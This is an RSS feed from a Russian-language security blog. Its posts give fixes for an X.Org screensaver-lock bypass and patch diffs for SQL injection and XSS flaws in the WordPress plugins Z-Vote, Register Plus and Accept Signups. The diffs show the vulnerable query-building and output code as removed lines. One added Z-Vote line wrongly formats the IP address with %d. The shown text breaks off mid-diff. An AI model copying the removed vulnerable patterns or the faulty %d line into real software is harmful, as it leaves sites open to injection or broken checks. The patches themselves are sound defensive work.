<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; уязвимость</title>
	<atom:link href="http://blog.sjinks.pro/tag/vulnerability/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Thu, 19 Jan 2012 12:18:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Исправление проблемы обхода хранителя экрана в X11</title>
		<link>http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/</link>
		<comments>http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 12:18:51 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=960</guid>
		<description><![CDATA[Программистов всё больше, а профессионалов всё меньше В X.Org Server 1.11 обнаружена уязвимость, позволяющая через манипуляции с клавиатурой обойти режим блокировки экрана и получить доступ к заблокированному рабочему окружению пользователя. Подробности либо по ссылке выше, либо на OpenNet. Исправление: в файле /usr/share/X11/xkb/compat/xfree86 закомментировать следующие строки: interpret XF86_Ungrab { action = Private(type=0x86, data=&#34;Ungrab&#34;); }; interpret XF86_ClearGrab [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Программистов всё больше, а профессионалов всё меньше</em></h2>
<p>В X.Org Server 1.11 <a href="http://gu1.aeroxteam.fr/2012/01/19/bypass-screensaver-locker-program-xorg-111-and-up/">обнаружена уязвимость</a>, позволяющая через манипуляции с клавиатурой обойти режим блокировки экрана и получить доступ к заблокированному рабочему окружению пользователя.</p>
<p>Подробности либо по ссылке выше, либо на <a href="http://www.opennet.ru/opennews/art.shtml?num=32844">OpenNet</a>.<span id="more-960"></span></p>
<p>Исправление: в файле <code>/usr/share/X11/xkb/compat/xfree86</code> закомментировать следующие строки:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9602">
        <div class="code text" id="p960code2">
&nbsp; &nbsp; interpret XF86_Ungrab {<br />
&nbsp; &nbsp; &nbsp; &nbsp; action = Private(type=0x86, data=&quot;Ungrab&quot;);<br />
&nbsp; &nbsp; };<br />
&nbsp; &nbsp; interpret XF86_ClearGrab {<br />
&nbsp; &nbsp; &nbsp; &nbsp; action = Private(type=0x86, data=&quot;ClsGrb&quot;);<br />
&nbsp; &nbsp; };
        </div>
    </div>
</div>

<p>После чего перезапустить X Server.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SQL Injection Vulnerability в Z-Vote 1.1</title>
		<link>http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/</link>
		<comments>http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/#comments</comments>
		<pubDate>Fri, 25 Feb 2011 19:32:49 +0000</pubDate>
		<dc:creator>Wandering Soul</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Патчи]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[SQL-инъекция]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=902</guid>
		<description><![CDATA[Исправление уязвимостей в плагине WordPress Z-Vote 1.1 В плагине WordPress Z-Vote 1.1 была обнаружена уязвимость, позволяющая злоумышленнику выполнять произвольные запросы к базе данных (уязвимость типа «SQL-инъекция»). Уязвимость существует из-за неправильного использования метода wpdb::prepare() и отсутствия проверки и очистки переменной $_GET['zvote']. Уязвимость позволяет злоумышленнику изменять запросы к базе данных, выполнять произвольные запросы, читать или изменять конфиденциальную информацию. Вторая [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление уязвимостей в плагине <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a> Z-Vote 1.1</em></h2>
<p>В плагине WordPress Z-Vote 1.1 была <a href="http://www.exploit-db.com/exploits/16218/">обнаружена</a> <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, позволяющая злоумышленнику выполнять произвольные запросы к базе данных (<a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a> типа «<a href="http://blog.sjinks.pro/tag/sql-injection/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SQL-инъекция">SQL-инъекция</a>»).</p>
<p>Уязвимость существует из-за неправильного использования метода <span class="codebox"><code class="php">wpdb<span class="sy0">::</span><span class="me2">prepare</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> и отсутствия проверки и очистки переменной <code>$_GET['zvote']</code>.</p>
<p>Уязвимость позволяет злоумышленнику изменять запросы к базе данных, выполнять произвольные запросы, читать или изменять конфиденциальную информацию.<span id="more-902"></span><br />
Вторая уязвимость (незначительная по сравнению с SQL-инъекцией) — раскрытие пути к плагину (<a href="http://blog.sjinks.pro/tag/path-disclosure/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  path disclosure">path disclosure</a>) при прямом доступе к файлу плагина.</p>
<p><strong><a href='http://static.sjinks.info/wp-content/uploads/2011/02/z-vote.diff'>Патч, исправляющий уязвимости в Z-Vote 1.1</a>:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9024">
        <div class="code diff" id="p902code4">
diff -uwdBrN z-vote.orig/zvote.php z-vote/zvote.php<br />
<span class="re3">--- z-vote.orig/zvote.php &nbsp; <span class="nu0">2011</span>-02-<span class="nu0">25</span> <span class="nu0">21</span>:05:<span class="nu0">44.000000000</span> +0200</span><br />
<span class="re4">+++ z-vote/zvote.php&nbsp; &nbsp; <span class="nu0">2011</span>-02-<span class="nu0">25</span> <span class="nu0">21</span>:<span class="nu0">10</span>:<span class="nu0">46.531798756</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">9</span>,<span class="nu0">6</span> +<span class="nu0">9</span>,<span class="nu0">8</span> @@</span><br />
&nbsp; &nbsp;License: GPL <br />
&nbsp;*/<br />
&nbsp;<br />
<span class="re8">+ &nbsp; defined<span class="br0">&#40;</span>'ABSPATH'<span class="br0">&#41;</span> or die<span class="br0">&#40;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+</span><br />
&nbsp;// --- DEFINITIONS<br />
&nbsp;<br />
&nbsp; &nbsp; //define where zvote is installed on the wordpres system. In 99.9% of the case the path below is correct.<br />
<span class="re6">@@ -<span class="nu0">271</span>,<span class="nu0">7</span> +<span class="nu0">273</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;function zVote_getEntry<span class="br0">&#40;</span>$postid<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp;<br />
<span class="re7">- &nbsp; $entries = $wpdb-&gt;get_results<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $entries = $wpdb-&gt;get_results<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d&quot;, $postid<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; return $entries;<br />
&nbsp;<span class="br0">&#125;</span><br />
<span class="re6">@@ -<span class="nu0">282</span>,<span class="nu0">7</span> +<span class="nu0">284</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; $votes = <span class="nu0">0</span>;<br />
<span class="re7">- &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT COUNT<span class="br0">&#40;</span>*<span class="br0">&#41;</span> FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT COUNT<span class="br0">&#40;</span>*<span class="br0">&#41;</span> FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d&quot;, $postid<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; return $votes;<br />
&nbsp;<span class="br0">&#125;</span><br />
<span class="re6">@@ -<span class="nu0">292</span>,<span class="nu0">7</span> +<span class="nu0">294</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp; &nbsp; <br />
<span class="re7">- &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;DELETE FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;DELETE FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d&quot;, $postid<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; return $votes;<br />
&nbsp;<span class="br0">&#125;</span><br />
<span class="re6">@@ -<span class="nu0">353</span>,<span class="nu0">7</span> +<span class="nu0">355</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //ipcheck for now, will expand to userid-check, based on the user setting in version 1.5<br />
<span class="re7">- &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot; AND userip = \&quot;&quot; . $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span> . &quot;\&quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d AND userip = %s&quot;, $postid, $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; $wpdb-&gt;insert<span class="br0">&#40;</span> $wpdb-&gt;prefix . 'zvotedata', array<span class="br0">&#40;</span> 'postid' =&gt; $postid, 'userip' =&gt; $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span>, 'userid' =&gt; 0, 'time' =&gt; time<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span>, array<span class="br0">&#40;</span> '%d','%s', '%d', '%d' <span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <br />
<span class="re6">@@ -<span class="nu0">365</span>,<span class="nu0">7</span> +<span class="nu0">367</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; global $wpdb, $wp_query, $redirect_meta_key;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //ipcheck for now, will expand to userid-check, based on the user setting in version 1.5<br />
<span class="re7">- &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot; AND userip = \&quot;&quot; . $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span> . &quot;\&quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d AND userip = %d&quot;, $postid, $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; if <span class="br0">&#40;</span>!$ipcheck<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; //ok to vote, register vote<br />
<span class="re6">@@ -<span class="nu0">382</span>,<span class="nu0">7</span> +<span class="nu0">384</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; //send user to post<br />
<span class="re7">- &nbsp; &nbsp; &nbsp; header<span class="br0">&#40;</span>'Location: ' .$injectionPoint<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>$injectionPoint<span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; exit;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span> else <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; //user already registered, push to entry-page and inform the user.<br />
<span class="re6">@@ -<span class="nu0">394</span>,<span class="nu0">7</span> +<span class="nu0">396</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $injectionPoint = $post . '?zvoters=2';<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
<span class="re7">- &nbsp; &nbsp; &nbsp; header<span class="br0">&#40;</span>'Location: ' .$injectionPoint<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>$injectionPoint<span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; exit;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; exit;
        </div>
    </div>
</div>

<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Межсайтовый скриптинг в Register Plus</title>
		<link>http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/</link>
		<comments>http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/#comments</comments>
		<pubDate>Sun, 13 Feb 2011 12:59:36 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=895</guid>
		<description><![CDATA[Патч, исправляющий уязвимости XSS и FPD В плагине Register Plus 3.5.1 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием экранирования специальных символов при выводе данных, полученных от пользователя, что позволяет злоумышленнику выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Судя по дате последнего изменения, плагин автором больше не поддерживается; [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em><a href="http://blog.sjinks.pro/tag/patch/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  патч">Патч</a>, исправляющий уязвимости <a href="http://blog.sjinks.pro/tag/xss/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  XSS">XSS</a> и FPD</em></h2>
<p>В плагине <a href="http://wordpress.org/extend/plugins/register-plus/">Register Plus</a> 3.5.1 <a href="http://websecurity.com.ua/4539">обнаружена</a> <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, позволяющая провести удалённому пользователю XSS-атаку.</p>
<p>Уязвимость связана с отсутствием экранирования специальных символов при выводе данных, полученных от пользователя, что позволяет злоумышленнику выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.</p>
<p>Судя по дате последнего изменения, <a href="http://blog.sjinks.pro/tag/plugin/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  плагин">плагин</a> автором больше не поддерживается; тем не менее, пользователи <a href="http://wordpress.org/support/topic/plugin-register-plus-works-with-wp3-but-with-minor-issues?replies=2">не оставляют попытки</a> использования плагина с новыми версиями <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a>.<span id="more-895"></span></p>
<p>Тем же исследователем была обнаружена уязвимость типа full <a href="http://blog.sjinks.pro/tag/path-disclosure/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  path disclosure">path disclosure</a> (ей подвержены очень многие плагины и сам WordPress в том числе).</p>
<p><strong><a href="http://static.sjinks.info/wp-content/uploads/2011/02/register-plus.diff">Скачать патч для плагина Register Plus</a>.</strong></p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/895-register-plus-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Межсайтовый скриптинг в плагине Accept Signups 0.1</title>
		<link>http://blog.sjinks.pro/security/892-accept-signups-xss/</link>
		<comments>http://blog.sjinks.pro/security/892-accept-signups-xss/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 04:10:34 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=892</guid>
		<description><![CDATA[Исправление OSVDB-70101 для плагина Accept Signups В плагине Accept Signups 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием обработки входных данных в параметре email, передаваемом файлу wp-content/plugins/accept-signups/accept-signups_submit.php, а также с отсутствием экранирования специальных символов при выводе данных в wp-content/plugins/accept-signups/accept-signups.php. Уязвимость позволяет при помощи специально сформированного URL выполнить произвольный код сценария в браузере [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/892-accept-signups-xss/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление OSVDB-70101 для плагина Accept Signups</em></h2>
<p>В плагине <a href="http://wordpress.org/extend/plugins/accept-signups/">Accept Signups</a> 1.0 <a href="http://osvdb.org/show/osvdb/70101">обнаружена</a> <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, позволяющая провести удалённому пользователю <a href="http://blog.sjinks.pro/tag/xss/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  XSS">XSS</a>-атаку.</p>
<p>Уязвимость связана с отсутствием обработки входных данных в параметре <code>email</code>, передаваемом файлу <code>wp-content/plugins/accept-signups/accept-signups_submit.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code>, а также с отсутствием экранирования специальных символов при выводе данных в <code>wp-content/plugins/accept-signups/accept-signups.php</code>.</p>
<p>Уязвимость позволяет при помощи специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.<span id="more-892"></span></p>
<p><strong><a href='http://static.sjinks.info/wp-content/uploads/2011/02/accept-signups.diff'>Патч для плагина Accept Signups 0.1</a>:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p8926">
        <div class="code diff" id="p892code6">
diff -uwdBrN accept-signups.orig/accept-signups.php accept-signups/accept-signups.php<br />
<span class="re3">--- accept-signups.orig/accept-signups.php&nbsp; <span class="nu0">2010</span>-<span class="nu0">12</span>-<span class="nu0">21</span> <span class="nu0">11</span>:07:<span class="nu0">21.000000000</span> +0200</span><br />
<span class="re4">+++ accept-signups/accept-signups.php &nbsp; <span class="nu0">2011</span>-02-09 06:06:<span class="nu0">33.612991546</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">223</span>,<span class="nu0">7</span> +<span class="nu0">223</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; $r = $wpdb-&gt;get_results<span class="br0">&#40;</span>$sql, ARRAY_A<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; $xml = '&lt;accept-signups&gt;';<br />
&nbsp; &nbsp; foreach<span class="br0">&#40;</span>$r as $k=&gt;$v<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="re7">- &nbsp; &nbsp; &nbsp; $xml .= '&lt;signup email=&quot;' . $v<span class="br0">&#91;</span>&quot;email&quot;<span class="br0">&#93;</span> . '&quot; ip=&quot;' . $v<span class="br0">&#91;</span>&quot;ip&quot;<span class="br0">&#93;</span> . '&quot; timestamp=&quot;' . $v<span class="br0">&#91;</span>&quot;timestamp&quot;<span class="br0">&#93;</span> . '&quot; /&gt;';</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; $xml .= '&lt;signup email=&quot;' . esc_attr<span class="br0">&#40;</span>$v<span class="br0">&#91;</span>&quot;email&quot;<span class="br0">&#93;</span><span class="br0">&#41;</span> . '&quot; ip=&quot;' . $v<span class="br0">&#91;</span>&quot;ip&quot;<span class="br0">&#93;</span> . '&quot; timestamp=&quot;' . $v<span class="br0">&#91;</span>&quot;timestamp&quot;<span class="br0">&#93;</span> . '&quot; /&gt;';</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; $xml .= '&lt;/accept-signups&gt;';<br />
&nbsp; &nbsp; file_put_contents<span class="br0">&#40;</span>ABSPATH . 'wp-content/plugins/accept-signups/accept-signups.xml', $xml<span class="br0">&#41;</span>;<br />
<span class="re6">@@ -<span class="nu0">290</span>,<span class="nu0">7</span> +<span class="nu0">290</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>strpos<span class="br0">&#40;</span>$v1, '@'<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $email = $v1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="re7">- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;td valign=&quot;top&quot; align=&quot;center&quot; class=&quot;acceptSignupsCell&quot;&gt;&amp;nbsp;&amp;nbsp;' . $v1 . '&amp;nbsp;&amp;nbsp;&lt;/td&gt;'; </span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;td valign=&quot;top&quot; align=&quot;center&quot; class=&quot;acceptSignupsCell&quot;&gt;&amp;nbsp;&amp;nbsp;' . esc_html<span class="br0">&#40;</span>$v1<span class="br0">&#41;</span> . '&amp;nbsp;&amp;nbsp;&lt;/td&gt;'; </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;td valign=&quot;top&quot; align=&quot;center&quot; class=&quot;acceptSignupsCell&quot; valign=&quot;bottom&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;acceptSignupsDeleteCB?' . acceptSignupsEncode<span class="br0">&#40;</span>$email<span class="br0">&#41;</span> . '&quot; id=&quot;acceptSignupsDeleteCB&quot;&gt;&lt;/td&gt;'; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $html .= '&lt;/tr&gt;';<br />
diff -uwdBrN accept-signups.orig/accept-signups_submit.php accept-signups/accept-signups_submit.php<br />
<span class="re3">--- accept-signups.orig/accept-signups_submit.php &nbsp; <span class="nu0">2010</span>-<span class="nu0">12</span>-<span class="nu0">21</span> <span class="nu0">11</span>:07:<span class="nu0">21.000000000</span> +0200</span><br />
<span class="re4">+++ accept-signups/accept-signups_submit.php&nbsp; &nbsp; <span class="nu0">2011</span>-02-09 06:03:<span class="nu0">04.017742924</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">1</span>,<span class="nu0">6</span> +<span class="nu0">1</span>,<span class="nu0">5</span> @@</span><br />
&nbsp;&lt;?php<br />
<span class="re7">-require_once<span class="br0">&#40;</span>'../../../wp-config.php'<span class="br0">&#41;</span>;</span><br />
<span class="re7">-require_once<span class="br0">&#40;</span>'../../../wp-includes/wp-db.php'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+require_once<span class="br0">&#40;</span>'../../../wp-load.php'<span class="br0">&#41;</span>;</span><br />
&nbsp;<br />
&nbsp;if <span class="br0">&#40;</span>true<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span>isset<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="re6">@@ -<span class="nu0">9</span>,<span class="nu0">6</span> +<span class="nu0">8</span>,<span class="nu0">16</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>hasEmail<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
